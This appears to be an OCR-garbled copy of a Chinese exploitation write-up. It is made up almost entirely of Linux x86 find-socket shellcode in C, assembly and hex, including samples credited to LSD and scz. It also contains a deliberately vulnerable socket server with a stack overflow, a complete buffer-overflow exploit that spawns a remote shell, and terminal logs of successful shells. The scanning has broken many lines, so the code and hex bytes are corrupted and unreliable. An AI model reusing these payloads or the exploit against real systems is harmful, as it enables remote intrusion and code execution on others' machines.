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/* use OOB to find the client socket */
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netinet/in.h>
#include <arpal/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
main()

int port=5555; // bind port

int sockfd,clifd,on=1;

struct sockaddr_in server,client;
int i,k,flag;

int data=0;

char buffer[1024];

memset(&server,0,sizeof(server));

memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket

[*fill the server struct */

server.sin_port=htons(port);

server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(INADDR_ANY);

/* set socket can bind again */
setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
printf("Listening ....");

fflush(stdout);

if(bind(sockfd,(struct sockaddr *)&server,sizeof(struct sockaddr))<0)

perror("Bind");
close(sockfd);
return(0);

}
listen(sockfd,1);
printf("ok\n\n");
while(1)

i=sizeof(client);

clifd=accept(sockfd,(struct sockaddr *)&client,&i);

printf(" \r\n™);
printf("accept a client from %s\n",inet_ntoa(client.sin_addr));

printf("client fd=%d\r\n\r\n",clifd);

findclientfd();

sleep(10);

close(clifd);

printf("close client socket\r\n");

}




5555 , )
, findclientfd

A.C :
int findclientfd()

inti,k;
char data;
struct timespec tm;

tm.tv_sec=2;
tm.tv_nsec=0;
nanosleep(&tm,NULL);
for(i=3;i<10;i++)

{

printf("test %d if is ....",i);
fflush(stdout);
k=recv(i,&data,1,1);
if(k<0)

{
printf("no\r\n");
continue;

}
if(data =="I")

{

printf("yes\r\n");

dup2(i,2);

dup2(i,1);

dup2(i,0);
execl("//bin/sh","/Ibin/sh","-ilp",NULL);

}

else

{
printf("maybe? data=%c,%d\r\n",data,data);

}
if(i==10) printf("sorry,not find\r\n");

sleep(2), 3-9 , (0]0]2] , I'
, socket.

[bkbll@mobilé ownprog]$ gcc -o findfd_c findfd_c.c
[bkbll@mobile ownprog]$ ./findfd_c
Listening ....ok

accept a client from 192.168.8.114
client fd=4

test 3ifis ....no
test 4 if is ....yes

[bkbll@mobile ownprog]$ ./clientfd
Connecting ....ok

sh-2.05b$ id;
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$

B
int findclientfd()

__asm__(

xorl %eax,%eax
pushl %eax

incl %eax

pushl %eax

movl %esp,%ebx
xorl %ecx,%ecx



movb $0xa2,%al
int $0x80

movb $0x09,%:cl
movl %ecx,%eax
subl $0x0a,%eax
notl %eax

incl %eax

mov! %eax,%edi
xorl %eax,%eax
incl %eax

decl %esp

movl %esp,%edx
pushl %eax

pushl %eax

pushl %edx

pushl %edi

pushl %ecx

leal 4(%esp),%ecx
xorl %ebx,%ebx
movb $0x0a,%bl
movb $0x66,%al
int $0x80

popl %ecx

cmpl $0x01,%eax
jne .+0x07

cmpb $0x49,(%edx)
je .+0xb

loop .-0x2c

xorl %eax,%eax
incl %eax

movl Y%eax,%ebx
int $0x80

movl %edi,%ebx
movb $0x03,%:cl
movb $0x3f,%al
decl %ecx

int $0x80

incl %ecx

loop .-0x06

pushl %ecx

pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
pushl %ecx

pushl $0x706c692d
movl %esp,%edx
pushl %ecx

pushl %edx

pushl %ebx

movl %esp,%ecx
xorl %edx,%edx
xorl %eax,%eax
movb $0x0b,%al
int $0x80

);
}

[bkbll@mobile ownprog]$ gec -o findfd_asm findfd_asm.c
findfd_asm.c:80:9: warning: multi-line string literals are deprecated
[bkbll@mobile ownprog]$ ./findfd_asm

Listening ....ok

accept a client from 192.168.8.114

client fd=4

[bkbll@mobile ownprog]$ ./clientfd

Connecting ....ok
send OOB....... ok
sh-2.05b$ id



uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$ Is

C. shellcode

gdb shellcode
char code[]=
"\x31\xc0\x50\x40\x50\x89\xe3\x31"
"\xc9\xb0\xa2\xcd\x80\xb1\x09\x89"
"\xc8\x83\xe8\x0a\xf7\xd0\x40\x89"
"\xc7\x31\xc0\x40\x4c\x89\xe2\x50"
"\X50\x52\x57\x51\x8d\x4c\x24\x04"
"\x31\xdb\xb3\x0a\xb0\x66\xcd\x80"
"\x59\x83\xf8\x01\x75\x05\x80\x3a"
"\x49\x74\x09\xe2\xd2\x31\xc0\x40"
"\x89\xc3\xcd\x80\x89\xfb\xb1\x03"
"\xb0\x3f\x49\xcd\x80\x41\xe2\xf8"
"\Xx51\x68\x6e\x2f\x73\x68\x68\x 2"
"\x2f\x62\x69\x89\xe3\x51\x68\x2d"
"\X69\x6¢\x70\x89\xe2\x51\x52\x53"
"\x89\xe1\x31\xd2\x31\xc0\xb0\x0b"
"\xcd\x80";
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server :
/* use OOB to find the client socket */
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
char code[]=
"\x31\xc0\x50\x40\x50\x89\xe3\x31"
"\xc9\xb0\xa2\xcd\x80\xb1\x09\x89"
"\xc8\x83\xe8\x0a\xf7\xd0\x40\x89"
"\xc7\x31\xc0\x40\x4c\x89\xe2\x50"
"\X50\x52\x57\x51\x8d\x4c\x24\x04"
"\x31\xdb\xb3\x0a\xb0\x66\xcd\x80"
"\x59\x83\xf8\x01\x75\x05\x80\x3a"
"\x49\x74\x09\xe2\xd2\x31\xc0\x40"
"\x89\xc3\xcd\x80\x89\xfb\xb1\x03"
"\xb0\x3f\x49\xcd\x80\x41\xe2\xf8"
"\x51\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x51\x68\x2d"
"\X69\x6¢\X70\x89\xe2\x51\x52\x53"
"\x89\xe1\x31\xd2\x31\xc0\xb0\x0b"
"\xcd\x80";
main()

int port=5555; // bind port

int sockfd,clifd,on=1;

struct sockaddr_in server,client;
inti,k,flag;

int data=0;

char buffer[1024];

void (*z)()=(void*)code;

memset(&server,0,sizeof(server));
memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket
/*fill the server struct */

server.sin_port=htons(port);

server.sin_family=AF_INET,;
server.sin_addr.s_addr=htonl(INADDR_ANY);

/* set socket can bind again */



setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
printf("Listening ....");

fflush(stdout);

if(bind(sockfd,(struct sockaddr *)&server,sizeof(struct sockaddr))<0)

{
perror("Bind");
close(sockfd);
return(0);

}
listen(sockfd,1);
printf("ok\n\n");
while(1)

i=sizeof(client);

clifd=accept(sockfd,(struct sockaddr *)&client,&i);

printf(" \n\n");
printf("accept a client from %s\n",inet_ntoa(client.sin_addr));

printf("client fd=%d\r\n\r\n",clifd);

z(); /I shellcode

sleep(10);

close(clifd);

printf("close client socket\r\n");

}

}

[bkbll@m.obile ownprog]$ gcc -o findfd_shell findfd_shell.c
[bkbll@mobile ownprog]$ ./findfd_shell
Listening ....ok

accept a client from 192.168.8.114
client fd=4

[bkbll@mobile ownprog]$ ./clientfd

Connecting ....ok

send OOB....... ok

sh-2.05b$ id

uid=500(bkbll) gid=500(bkbll) groups=500(bkbl)
sh-2.05b$

[B]LSD scz

A.LSDC

/* From asmcode-1.0.2.pdf downding from Isd-pl.net */
j=sizeof(sockaddr_in);

for(i=256;i>=0;i--){

if(getpeername(sck,&adr,&j)==-1) continue; // ,sck i
if(*((unsigned short)&(adr[2]))==htons(port)) break;

}

for(j=2;j>=0;j--) dup2(j,i);

B. LSD shlicode

( : find sckcode, dup2 exece ):
char findsckcode[]= /* 72 bytes */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xe7" /* movl %esp,%edi */
"\x8d\x77\x10" /* leal Ox10(%edi),%esi */
"\x89\x77\x04" I* movl %esi,0x4(%edi) */
"\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */
"\x89\x4f\x08" /* movl %ecx,0x8(%oedi) */
"\xb3\x10" /* movb $0x10,%bl */
"\x89\x19" /* movl %ebx,(%ecx) */
"\x31\xc9" /* xorl %ecx,%ecx */

"b1\xff" /* movb $0xff,%cl */

"\X89\x0f" /* movl %ecx,(%edi) */

"\x51" /* pushl %ecx */

"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x07" /* movb $0x07,%bl */
"\x89\xf9" /* movl %edi,%ecx */
"\xcd\x80" /* int $0x80 */

"\x59" /* popl %ecx */

"\x31\xdb" /* xorl %ebx,%ebx */



"\x39\xd8" /* cmpl %ebx,%eax */

"\X75\x0a" /* jne <findsckcode+54> */
"\x66\xb8\x12\x34" /* movw $0x1234,%bx */
"\x66\x39\x46\x02" /* cmpw %bx,0x2(%esi) */
"\X74\x02" /* je <findsckcode+56> */
"\xe2\xe0" /* loop <findsckcode+24> */
"\x89\xch" /* movl %ecx,%ebx */

"\x31\xc9" /* xorl %ecx,%ecx */

"Xb1\x03" /* movb $0x03,%cl */

"\x31\xc0" /* xorl %oeax,%eax */

"\xbO\x3f" /* movb $0x3f,%al */

"\x49" /* decl Y%ecx */

"\xcd\x80" /* int $0x80 */

"\x41" /* incl %ecx */

"\xe2\xf6" /* loop <findsckcode+62> */

C.SCz shellcode:

From: http://bbs.nsfocus.net/index.php?
act=SE&f=2&t=144419&p=174118&hl=shellcode
unsigned char remote_shellcode[] =
"\xeb\x57\x5f\x31\xc0\x40\x89\x4 7"
"\x08\x31\xd2\x8d\x4f\x08\x31\xdb"
"\xb3\x0d\x04\x42\xcd\x80\x31\xc9"
"\xb5\x04\x89\xcb\x51\x31\xc9\xb1"
"\x03\x31\xd2\x31\xcO0\xb0\x37\xcd"
"\x80\x89\xc6\x89\xc2\x80\xce\x08"
"\x41\x31\xc0\xb0\x37\xcd\x80\x89"
"\xca\x8d\x4f\x08\x89\xd0\x48\xcd"
"\x80\x89\xd 1\x89\xf2\x31\xc0\xb0"
"\x37\xcd\x80\x59\x81\x 7f\x08\x4e"
"\x53\x46\x4f\x74\x06\xe2\xc3\xeb"
"\xbd\xeb\x33\x31\xc9\x31\xc0\xb0"
"\x3f\xcd\x80\x41\x31\xcO\xbO\x3f"
"\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
"\x80\x89\xfb\x89\x5f\x08\x31\xc0"
"\x89\x47\x0c\x88\x47\x07\x31\xd2"
"\x8d\x4f\x08\xb0\x0b\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\x6f"
"\xfFAxf\xfAx2f\x62\x69\x6e\x2f"

"\x73\x68;

D. C :
( by bkbll,sorry to scz)
inti,k.j;

char buffer[5];
signal(SIGPIPE,SIG_IGN,NULL);
while(1)

for(i=1024;i>0;i--)
{
j=fentl(i, GETFL,NULL);
k=j;
j|I=O_NONBLOCK;
fentl(i, SETFL,));
read(i,buffer,4);
fentl(i, SETFL,k);
if(strncmp(buffer,"NSFO",4)==0) break;

}
if(i>0) break;

}

dup2(i,0);

dup2(i,1);

dup2(i,2);
execl("/bin/sh","/bin/sh",NULL);
exit(0);

5]

A. client

/* use OOB to identify itself the client socket */
#include <stdlib.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <string.h>



#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <netdb.h>
#define BUF 1024
main()

{

int port=5555; // connect port
char server[]="192.168.8.114";
int sockfd,on=1;

struct sockaddr_in client;
struct hostent *host;

int i,k,count;

int datal=0,data2=0;

fd_set fds;

char buffer[BUF];

memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket
/*fill the client struct */

client.sin_port=htons(port);

client.sin_family=AF_INET;

host=gethostbyname(server);

client.sin_addr=*((struct in_addr *)host->h_addr);

printf("Connecting ....");
fflush(stdout);
if(connect(sockfd,(struct sockaddr *)&client,sizeof(struct sockaddr))<0)

perror(“error");
close(sockfd);
return(0);

}

printf("ok\r\n™);

datal='"l';

printf("send OOB....... ");

fflush(stdout);
if(send(sockfd,&datal,1,MSG_OOB)<1)

perror(“error");
close(sockfd);
return(0);

printf("ok\r\n™);
while(1)

{

FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sockfd, &fds);

if (select(sockfd+1, &fds, NULL, NULL, NULL) < 0)

if (errno == EINTR) continue;
break;

}
if (FD_ISSET(0, &fds))
{

count = read(0, buffer, BUF);

if (count <= 0) break;

if (write(sockfd, buffer, count) <= 0) break;
memset(buffer,0,BUF);

}
if (FD_ISSET(sockfd, &fds))
{

count = read(sockfd, buffer, BUF);

if (count <= 0) break;

if (write(1, buffer, count) <= 0) break;
memset(buffer,0,BUF);

}



close(sockfd);

}

B. OOB

/* find code asm */

[* sleep(1)*/

text

.globl _start

_start:

xorl %eax,%eax

pushl %eax

incl %eax

pushl %eax

movl %esp,%ebx

xorl %ecx,%ecx

movb $0xa2,%al

int $0x80

movb $0x09,%:cl

movl %ecx,%eax /* <--loop to here */
subl $0x0a,%eax /* eax=edi-10 */
notl %eax /* eax=~eax */

incl %eax /* eax+1 */

movl %eax,%edi

xorl %eax,%eax

incl %eax

decl %esp

movl %esp,%edx /* (0]0]2]
pushl %eax /* 1 */

pushl %eax /* 1 */

pushl %edx /* &data*/

pushl %edi /* */

pushl %ecx /* ecx */

leal 4(%esp),%ecx /* socketcall arg*/
xorl %ebx,%ebx

movb $0x0a,%bl /* recv */
movb $0x66,%al /* socketcall */
int $0x80

popl %ecx /* ecx */

cmpl $0x01,%eax

jne .+0x07 /* loop */
1* T */

cmpb $0x49,(%edx)

je .+0xb /* dup2 */
loop .-0x2c /* */

xorl Y%eax,%eax

incl %eax

movl %eax,%ebx

int $0x80 /* , */

I* dup2 */

mov! %edi,%ebx

movb $0x03,%cl

movb $0x3f,%al

decl %ecx

int $0x80

incl %ecx

loop .-0x06

I* execve("/bin//sh",argv,NULL) */
pushl %ecx /* argv NULL */

pushl $0x68732f6e /* n/sh */

pushl $0x69622f2f /* //bi */

movl %esp,%ebx

pushl %ecx

pushl $0x706c692d /* -ilp */

movl %esp,%edx

pushl %ecx

pushl %edx

pushl %ebx

movl %esp,%ecx /* argv */
xorl %edx,%edx /* argenv=NULL */
xorl %eax,%eax

*/



movb $0x0b,%al /* execve */
int $0x80

C. OOB shellcode exploit
[* vuln.c */

#include <stdlib.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <string.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <unistd.h>

#include <stdio.h>

#include <errno.h>

#include <netdb.h>

#include <signal.h>

#include <fcntl.h>

int ptdata(char *buff);

main()

int port=5555; // bind port

int sockfd,clifd,on=1;

struct sockaddr_in server,client;
int i,k,flag;

int data=0;

char buffer[1024];

memset(&server,0,sizeof(server));

memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket

/* fill the server struct */

server.sin_port=htons(port);

server.sin_family=AF_INET,;
server.sin_addr.s_addr=htonl(INADDR_ANY);

[* set socket can bind again */
setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
printf("Listening ....");

fflush(stdout);

if(bind(sockfd,(struct sockaddr *)&server,sizeof(struct sockaddr))<0)

perror("Bind");
close(sockfd);
return(0);

}
listen(sockfd,1);
printf("ok\r\n");
while(1)

i=sizeof(client);

clifd=accept(sockfd,(struct sockaddr *)&client,&i);

printf(" \n\n");
printf("accept a client from %s\n",inet_ntoa(client.sin_addr));
sleep(1);

read(clifd,buffer,1024);

printf("From client:");

fflush(stdout);

ptdata(buffer);

close(clifd);

printf("close client socket\r\n™);

}

}
int ptdata(char *buff)

char buf[20];
sprintf(buf,"%s",buff);
printf("%s\r\n",buf);

/* test expl */

#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>



#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <netdb.h>

int exec_sh(int sockfd);

char shellcode[]=
"\x31\xc0\x50\x40\x50\x89\xe3\x31"
"\xc9\xb0\xa2\xcd\x80\xb1\x09\x89"
"\xc8\x83\xe8\x0a\xf7\xd0\x40\x89"
"\xc7\x31\xc0\x40\x4c\x89\xe2\x50"
"\X50\x52\x57\x51\x8d\x4c\x24\x04"
"\x31\xdb\xb3\x0a\xb0\x66\xcd\x80"
"\x59\x83\xf8\x01\x75\x05\x80\x3a"
"\x49\x74\x09\xe2\xd2\x31\xc0\x40"
"\x89\xc3\xcd\x80\x89\xfb\xb1\x03"
"\xb0\x3f\x49\xcd\x80\x41\xe2\xf8"
"\Xx51\x68\x6e\x2f\x73\x68\x68\x 2f"
"\x2f\x62\x69\x89\xe3\x51\x68\x2d"
"\x69\x6¢\x70\x89\xe2\x51\x52\x53"
"\x89\xe1\x31\xd2\x31\xc0\xb0\x0b"
"\xcd\x80";

#define RETADDR 0xbffff69c
#define SHELLADDR 0xbffff6b0
#define BUF 1024

main()

int port=5555; // connect port

char server[]="192.168.8.114";

int sockfd,on=1;

struct sockaddr_in client;

struct hostent *host;

int a,i=20,k=0x9¢c-0x70-20,b=20; //k is the offset

int datal=0,data2=0;

char buffer[1024];

char data;

memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket
/* fill the client struct */

client.sin_port=htons(port);

client.sin_family=AF_INET;
host=gethostbyname(server);

client.sin_addr=*((struct in_addr *)host->h_addr);
printf("shellcode length:%d, shellcode addr:%p\r\n",strlen
(shellcode),SHELLADDRY);

printf("Connecting ....");

fflush(stdout);

if(connect(sockfd,(struct sockaddr *)&client,sizeof(struct sockaddr))<0)

perror(“error");
close(sockfd);
return(0);

printf("ok\r\n");

/ldatal="I";

for(a=0;a<i+k;a++) buffer[a]='A’;

[* use shelladdr to cover function return address */
buffer[a++]=SHELLADDR & Oxff;
bufferfa++]=(SHELLADDR >>8) & 0xff;
bufferfa++]=(SHELLADDR >>16) & 0xff;
bufferfa++]=(SHELLADDR >>24) & 0xff;

/* fill NOP */

b=b+a;

for(a;a<b;a++) buffer[a]=0x90;

/* fill shellcode */
strncpy(buffer+a,shellcode,strlen(shellcode));
showmem((unsigned int)buffer,strlen(buffer));
printf("send data....... ");

fflush(stdout);



if(write(sockfd,buffer,strlen(buffer))<1)

perror(“error");
close(sockfd);
return(0);

}
printf("ok\r\n");

data='l";

printf("send OOB....... ")
fflush(stdout);
if(send(sockfd,&data,1,1)<1)

perror(“error");
close(sockfd);
return(0);

printf("ok\r\n");
exec_sh(sockfd);
close(sockfd);

int exec_sh(int sockfd)

{

char buffer[BUF];
fd_set fds;

int count;

while(1)

{

FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sockfd, &fds);

if (select(sockfd+1, &fds, NULL, NULL, NULL) < 0)
{

if (errno == EINTR) continue;
break;

}
if (FD_ISSET(0, &fds))
{

count = read(0, buffer, BUF);

if (count <= 0) break;

if (write(sockfd, buffer, count) <= 0) break;
memset(buffer,0,BUF);

}
if (FD_ISSET(sockfd, &fds))

count = read(sockfd, buffer, BUF);

if (count <= 0) break;

if (write(1, buffer, count) <= 0) break;
memset(buffer,0,BUF);

}

}
}

[bkbll@mobile testc]$ ./vuln
Listening ....ok

accept a client from 192.168.8.114
client fd=4

From client AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1 @P 1 €2
@ 1 L PPRWQ $1
Y uelt 1 2l A Qhn/shh//bi Qh-ilp QRS 1?

PuTTY

[bkbll@mobile testc]$ /exp
shellcode length:114, shellcode addr:0xbffff6b0



Connecting ....0k

send data....... ok

send OOB....... ok

sh-2.05b$ id

uid=500(bkbll) gid=500(bkbll) groups=500(bkbill)
sh-2.05b$
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